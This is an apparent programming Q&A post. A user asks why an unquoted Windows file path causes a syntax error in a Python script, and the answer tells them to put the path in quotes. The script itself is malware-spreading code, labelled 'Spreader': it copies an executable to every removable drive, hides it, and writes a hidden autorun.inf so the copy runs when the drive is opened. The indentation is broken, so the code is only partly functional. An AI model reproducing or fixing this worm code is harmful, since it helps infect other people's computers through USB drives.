Syntax error while declaring path
Question: wanted to know why is it a syntax error while compiling this script if I'm
declaring a path?

I already searched a bit about it and couldn't find anything related to this,
can someone explain me how to add a path ?

    
    
       if __name__ == "__main__":  # This isn't part of the actual code
           spread = Spreader (C:\Users\Test\bin.exe) # C: the ':' is the syntax error
    
    
    import win32api
    import win32con
    import win32file
    import sys
    import os
    
    class Spreader(object):
    def __init__(self, path):    # path must be absolute
      print (" [*] Checking information")
    
      self.filename = path.split("\\")[-1]
      self.driveFilename = self.filename
    
      if not self.driveFilename.startswith("~"):
        self.driveFilename = "~" + self.driveFilename
    
      print ("\t- Local filename: ") + self.filename
      print ("\t- Driver filename: ") + self.driveFilename
    
      self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename
    
      print ("\t- Full path: ") + self.path
    
      print ("\n [*] Getting removable drives")
      self.drives = self.__getRemovableDrives()
    
      if len(self.drives) == None:
        print (" [-] No removable drives available")
      sys.exit()
    
      for drive in self.drives:
        print ("\t- ") + drive
    
      print ("\n [*] Spreading")
      self.__spread()
    
      print ("\n [+] Successfully spread")
    
    def __getRemovableDrives(self):
      removableDrives = []
      drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]
    
      for drive in drives:
        driveType = win32file.GetDriveType(drive)
    
      if driveType == win32file.DRIVE_REMOVABLE:
            removableDrives.append(drive)
    
      return removableDrives
    
    def __spread(self):
      for drive in self.drives:
    
        if drive == "A:\\":
            continue
    
      else:
    
            driveFile = drive + self.driveFilename
            driveAutorun = drive + "autorun.inf"
    
            print (" [+] ") + drive
    
            if not os.path.exists(driveFile):
              self.__copyFile(driveFile)
    
            if not os.path.exists(driveAutorun):
              self.__createAutorun(driveAutorun)
    
    def __copyFile(self, driveFile):
      print ("\t- Copying file: ") + self.driveFilename,
      win32file.CopyFile(self.path, driveFile, 0)
      print ("\t\t\tDONE")
    
      print ("\t- Hidding file"),
      win32api.SetFileAttributes(driveFile,\
             win32con.FILE_ATTRIBUTE_HIDDEN)
      print ("\t\t\tDONE")
    
    def __createAutorun(self, driveAutorun):
      print ("\t- Creating autorun.inf"),
      autorun = open(driveAutorun, "w")
      content = """[Autorun]
    open={0}
    icon={0}
    label=Python Spreader
    UseAutoPlay=1
    action=Start my App
    action=@{0}
    shell\open=Open
    shell\open\Command={0}
    shell\explore=explore
    shell\explore\command={0}""".format(self.driveFilename)
      autorun.write(content)
      autorun.close()
      print ("\t\t\tDONE")
    
      print ("\t- Hidding autorun"),
      win32api.SetFileAttributes(driveAutorun,\
             win32con.FILE_ATTRIBUTE_HIDDEN)
      print ("\t\t\tDONE")
    
      if __name__ == "__main__":
           spread = Spreader (C:\Users\Test\bin.exe)
    


Answer: You must enclose the path in quotes to make it a string:

    
    
    spread = Spreader('C:/Users/Test/bin.exe')
    

